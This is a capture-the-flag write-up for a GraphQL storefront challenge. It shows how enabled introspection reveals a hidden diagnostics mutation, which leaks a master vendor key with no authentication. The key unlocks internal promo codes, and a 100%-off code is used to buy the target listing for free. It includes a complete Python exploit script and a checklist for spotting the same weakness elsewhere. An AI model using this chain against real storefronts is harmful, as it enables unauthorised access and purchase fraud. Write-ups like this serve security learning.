$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: retro-futuristic GraphQL storefront where the target listing costs 1,000,000 credits but accounts start with only 500. Solution: enabled introspection reveals a hidden diagnostics mutation that leaks a master vendor key with no auth, which unlocks an internal 100%-off promo code that zeroes the price and settles the order.
TOMORROW-MART — the retro-futuristic marketplace. New members receive 500 FutureBank starter credits. Think you can afford the Founders' Vault Deed (Lot #4042)?
English summary: A GraphQL-backed e-commerce storefront. New users get 500 starter credits. The goal is to purchase Lot #4042 ("Founders' Vault Deed"), priced at 1,000,000 credits — far beyond the starter balance. A successful placeOrder on that listing returns the flag.
The frontend (/static/app.js) shows all data flows through a single GraphQL endpoint POST /graphql, with an Authorization: Bearer <token> header. The token and cart live in localStorage.
Visible operations from the pages:
/account: register(username, password) and login(username, password) → { success message token account { handle } }/checkout: query { listings { id title priceCredits condition seller } } and mutation placeOrder(listingId: ID!, promoCode: String) { success message listingId pricePaid flag }The placeOrder mutation exposes a flag field, so the whole challenge reduces to making that mutation succeed on listing 4042.
Introspection was left enabled in production. A standard introspection query reveals operations not referenced anywhere in the frontend:
promoCodes(vendorKey: String!) — a promo lookup gated behind a vendor key argument.vendorTerminalSync(terminalId: ID) -> VendorDiagnostics, where VendorDiagnostics = { terminalId, status, firmware, vendorKey, note }.The vendorTerminalSync mutation is an internal diagnostics endpoint. Its terminalId argument is optional, and calling it with no arguments still returns diagnostics — including a privileged vendorKey (format VND-MASTER-<hex>). The note field explicitly reads: "Remember to disable this endpoint before public launch." This is a dev/diagnostics operation reachable by any client — classic broken function-level access control and excessive data exposure.
That leaked master key satisfies the vendorKey argument of promoCodes, which returns internal promo codes. One of them applies 100% off the target listing (appliesTo = 4042, percentOff = 100, described "Internal use only."). Applying that promo to placeOrder drops the price to 0, bypassing the balance/price check entirely.
Chain: recon → introspection → vendor-key leak → internal promo discovery → discounted purchase.
vendorTerminalSync and promoCodes.vendorTerminalSync with no terminalId to leak the master vendor key.promoCodes with the leaked key to find the 100%-off promo that applies to listing 4042.placeOrder on 4042 with that promo code; price settles at 0 and the response's flag field returns the flag.#!/usr/bin/env python3 import requests BASE = "https://usedgoods.web.2026.sunshinectf.games/graphql" def gql(query, token=None): headers = {"Content-Type": "application/json"} if token: headers["Authorization"] = f"Bearer {token}" r = requests.post(BASE, json={"query": query}, headers=headers) return r.json() # 1. Register a fresh account -> bearer token (500 starter credits) reg = gql(''' mutation { register(username: "attacker_%RANDOM%", password: "Passw0rd!") { success message token account { handle } } }''') token = reg["data"]["register"]["token"] # 2. Introspection (enabled in prod) exposes hidden ops: # Query.promoCodes(vendorKey: String!), Mutation.vendorTerminalSync(terminalId: ID) introspect = gql(''' { __schema { mutationType { fields { name args { name type { name } } } } queryType { fields { name args { name type { name } } } } } }''', token) # 3. Diagnostics mutation with NO terminalId leaks a master vendor key diag = gql('mutation { vendorTerminalSync { terminalId status firmware vendorKey note } }', token) vendor_key = diag["data"]["vendorTerminalSync"]["vendorKey"] # e.g. VND-MASTER-<hex> # note field: "Remember to disable this endpoint before public launch." # 4. Leaked key unlocks the gated promoCodes query; find 100%-off promo for listing 4042 promos = gql(f'{{ promoCodes(vendorKey: "{vendor_key}") ' f'{{ code description percentOff appliesTo }} }}', token) promo = next(p for p in promos["data"]["promoCodes"] if str(p["appliesTo"]) == "4042" and p["percentOff"] == 100) # 5. Place the order with the internal promo -> price 0, flag returned order = gql(f''' mutation {{ placeOrder(listingId: "4042", promoCode: "{promo["code"]}") {{ success message pricePaid flag }} }}''', token) result = order["data"]["placeOrder"] assert result["success"] and result["pricePaid"] == 0 print("Flag field returned (redacted):", "sun{REDACTED}")
Use this technique when:
POST /graphql endpoint with a Bearer token.__schema) succeeds in production and reveals operations the UI never calls.terminalId) or a name suggesting diagnostics/admin (vendorTerminalSync, debug, internal).vendorKey, apiKey, secret, or a note telling developers to disable the endpoint — a sign of a left-in-prod dev feature.promoCodes(vendorKey: ...)) whose data (100%-off promo, appliesTo a specific item) enables a price/balance bypass on the target purchase mutation.flag field directly, so the whole challenge collapses to satisfying its business-logic checks (price ≤ balance) rather than any memory/crypto work.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar